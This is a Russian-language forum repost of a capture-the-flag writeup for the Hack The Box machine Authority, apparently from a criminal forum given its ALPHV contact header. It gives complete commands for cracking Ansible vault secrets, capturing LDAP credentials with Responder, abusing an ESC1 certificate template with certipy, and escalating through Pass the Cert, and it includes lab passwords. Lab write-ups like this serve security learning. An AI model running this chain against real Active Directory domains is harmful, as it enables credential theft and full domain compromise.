• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Повышаем привилегии в Windows через ESC1 и Pass the Cert

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как применять технику ESC1 ADCS для получения сертификата администратора и Pass the Cert для получения доступа к хосту. Также достанем учетные данные из Ansible и стриггерим подключение к своему серверу LDAP для перехвата учетных данных.
Нашей целью будет захват рута на тренировочной машине Authority с площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень ее сложности — средний.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.222 authority.htb
И начинаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Так как Windows может не отвечать на пинг, исключим этот шаг из сканирования (опция -Pn).

Результат работы скрипта
Результат работы скрипта

Сканер нашел множество открытых портов, что характерно для серверов на Windows:
  • 53 — служба DNS;
  • 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
  • 88 — служба Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC);
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — служба LDAP;
  • 445 — служба SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 5985 — служба удаленного управления WinRM;
  • 8443 — веб‑сервер, выполняющий редирект на страницу /pwm;
  • 9389 — веб‑службы AD DS.

Точка входа​

Первым делом проверим доступ от имени гостевой учетной записи, для чего будем использовать фреймворк Для просмотра ссылки Войди или Зарегистрируйся.

crackmapexec smb 10.10.11.222 -u guest -p ""
Проверка гостевой учетной записи
Проверка гостевой учетной записи

Доступ есть, проверим доступные для чтения общие ресурсы.

crackmapexec smb 10.10.11.222 -u guest -p "" --sahres
Общие ресурсы SMB
Общие ресурсы SMB

В списке значится интересный каталог Development, который мы можем просмотреть. Подключаем к шаре с помощью Для просмотра ссылки Войди или Зарегистрируйся и смотрим содержимое.

Код:
impacket-smbclient guest@10.10.11.222
use Development
ls

Содержимое SMB-ресурса Development
Содержимое SMB-ресурса Development

Видим вложенный каталог. Спустившись по каталогам дальше, находим директорию Ansible, содержащую папки ADCS, LDAP, PWM и SHARE.

Вложенные каталоги
Вложенные каталоги

Точка опоры​

В каталоге PWM\defaults находим файл .yml, содержащий зашифрованные учетные данные.

Код:
get PWM\defaults\main.yml
cat main.yml
Содержимое файла main.yml
Содержимое файла main.yml

Все учетные данные зашифрованы одним ключом, который можно попытаться подобрать. Первым делом сохраним один из блоков в файл, который затем передадим скрипту Для просмотра ссылки Войди или Зарегистрируйся для преобразования в формат hashcat/jtr.

Преобразование блока данных
Преобразование блока данных

Теперь определим тип хеша. Делать это удобно с помощью справки hashcat.

hashcat --example | grep -A7 -B11 'ansible'
Справка hashcat
Справка hashcat
Теперь сохраняем хеш в файл и передаем его в hashcat вместе с полученным режимом 16900 (параметр -m) и списком паролей.

Код:
ansible2john ansible_hash2.txt > hash.txt
hashcat -m 16900 -a 0 --username hash.txt rockyou.txt

Результат перебора хеша
Результат перебора хеша

В итоге получаем ключ, которым можно расшифровать все пароли. Каждый сохраняем в отдельный файл и используем ansible-vault decrypt.

Код:
cat ansible_hash.txt | ansible-vault decrypt
cat ansible_hash2.txt | ansible-vault decrypt
cat ansible_hash3.txt | ansible-vault decrypt
Получение паролей ansible-vault
Получение паролей ansible-vault

Продвижение​

С полученными учетными данными авторизоваться на службах не удалось. Но мы также получили креды для PWM на порте 8443.

Подключение к порту 8443
Подключение к порту 8443

Получаем ошибку, которая сообщает о том, что обязателен TLS. Значит, меняем протокол с HTTP на HTTPS.

Главная страница сайта
Главная страница сайта

Для авторизации нужен логин, которого у нас нет. Но если перейти к менеджеру настроек, то там требуется только сервисный пароль.

Менеджер настроек
Менеджер настроек

Страница авторизованного пользователя
Страница авторизованного пользователя

На этой странице можно сохранять или загружать настройки. Также отображается таблица состояния, в которой видим ошибку подключения к LDAP. Видимо, адрес сервера LDAP указан в настройках, и если мы сможем их изменить, то вызовем авторизацию на свой сервер. Причем пароли LDAP передаются в открытом виде.

Для просмотра ссылки Войди или Зарегистрируйся
Находим адрес LDAP в скачанных настройках и переписываем значение на свой адрес.

Измененная конфигурация
Измененная конфигурация

Запускаем у себя многофункциональный листенер Для просмотра ссылки Войди или Зарегистрируйся и загружаем измененный файл.

sudo responder -I tun0 -v
Логи Responder
Логи Responder

В запросе есть как логин, так и пароль доменного пользователя svc_ldap. Для проверки учетных данных пробуем получить список пользователей с помощью CrackMapExec.

crackmapexec smb 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' --users
Пользователи домена
Пользователи домена

Пользователей мало, проверим, состоит ли наш в группе Remote Management Users.

crackmapexec smb 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' --groups 'Remote Management Users'
Члены группы Remote Management Users
Члены группы Remote Management Users

Таким образом, пользователь может получить управление через службу WinRM. Для подключения используем утилиту Для просмотра ссылки Войди или Зарегистрируйся.

evil-winrm -i 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

В общем каталоге также была директория ADCS. Службы сертификатов Active Directory (AD CS) — это настраиваемые службы для выдачи сертификатов и управления ими в системах безопасности ПО, использующих технологии открытых ключей.

Центры сертификации AD CS выдают сертификаты с параметрами, которые определяются шаблонами. Эти шаблоны представляют собой наборы политик регистрации и предопределенных параметров сертификата и содержат разные сведения, например:
  • срок действия сертификата;
  • предназначение сертификата;
  • способ указания субъекта;
  • кому разрешено запросить сертификаты.
Каждый ЦС предприятия поставляется с шаблонами по умолчанию, и общепринята практика брать их за основу. То есть если ты хочешь дать клиенту сертификат для работы с 802.1x, то нужно взять копию шаблона Computer, а если S/MIME-сертификаты, то копию шаблона User. Названия шаблонов могут сбить с толку, однако фундаментальной разницы между ними нет. Каждый шаблон может выдать сертификат любого типа, если он заполнен правильными параметрами. Но шаблоны сертификатов — это также защищаемые объекты в Active Directory, то есть они имеют дескриптор безопасности, указывающий, какие участники Active Directory имеют определенные права для шаблона.

Получить информацию о центре сертификации и проверить уязвимые шаблоны можно с помощью утилиты Для просмотра ссылки Войди или Зарегистрируйся.

.\Certify.exe find /vulnerable
Информация из ADCS
Информация из ADCS

Видим уязвимый шаблон сертификата CorpVPN. Этот сертификат уязвим к технике повышения привилегий ESC1:
  • ‌Enrollment Permissions показывает, что компьютеры домена могут запросить сертификат без утверждения менеджером;
  • pKIExtendedKeyUsage показывает, что сертификат может использоваться для аутентификации в домене (Client Authentication);
  • msPKI-Certificate-Name-Flag содержит флаг CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, говорящий о том, что шаблон сертификата позволяет запрашивающим лицам указывать имя объекта в CSR.
Последний пункт приводит к тому, что пользователь с низкими привилегиями может запрашивать сертификат с произвольным SAN, то есть для любого пользователя в домене, включая администратора. Затем можно использовать этот сертификат для аутентификации от имени указанного пользователя.

Но так как получить сертификат может только компьютер, создаем подконтрольную учетную запись компьютера.

impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -computer-name 'rcomp$' -computer-pass 'RRrr!!11'
Создание учетной записи компьютера
Создание учетной записи компьютера

Для работы Для просмотра ссылки Войди или Зарегистрируйся нужно добавить в /etc/hosts записи для компьютера и центра сертификации.

10.10.11.222 authority.htb authority.authority.htb AUTHORITY-CA
А от имени созданного компьютера запросим сертификат для пользователя Administrator.

certipy-ad req -u 'rcomp$' -p 'RRrr!!11' -ca AUTHORITY-CA -target authority.htb -template CorpVPN -upn [EMAIL]administrator@authority.htb[/EMAIL] -dns authority.authority.htb -dc-ip 10.10.11.222
Получение сертификата администратора
Получение сертификата администратора

Теперь нужно получить доступ к машине.

Pass the certificate​

Pass the cert — это техника получения билета TGT, при которой для аутентификации используется сертификат пользователя вместо пароля. Обычно это можно провернуть в той же Certipy, но в данном случае получаем ошибку.

certipy-ad auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222
Ошибка получения TGT-билета
Ошибка получения TGT-билета

Certipy и PKINITtools используют PKINIT и получают TGT-билет, чтобы с помощью техники UnPac the hash извлечь NT-хеш учетной записи. Если вернуться к шаблону сертификата, можно увидеть, что он не имеет EKU Smart Card Logon, а значит, и не будет поддержки PKINIT! Тогда возьмем другую программу — Для просмотра ссылки Войди или Зарегистрируйся. Она подключается к LDAP, используя аутентификацию Schannel. Но сперва разделим файл PFX на сертификат и ключ.

Код:
certipy-ad cert -pfx administrator_authority.pfx -nokey -out administrator_authority.crt

certipy-ad cert -pfx administrator_authority.pfx -nocert -out administrator_authority.key
Извлечение сертификата и ключа
Извлечение сертификата и ключа

В PassTheCert есть очень удобная встроенная утилита для работы с LDAP — Для просмотра ссылки Войди или Зарегистрируйся. Получив доступ к LDAP командой add_user_to_group, добавляем созданную учетную запись компьютера в группу администраторов.

python3 passthecert.py -action ldap-shell -crt administrator_authority.crt -key administrator_authority.key -domain authority.htb -dc-ip 10.10.11.222
Эксплуатация Pass the Cert через LDAP
Эксплуатация Pass the Cert через LDAP

А теперь подключаемся через WinRM и забираем флаг администратора.

evil-winrm -i 10.10.11.222 -u 'rcomp$' -p 'RRrr!!11'
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу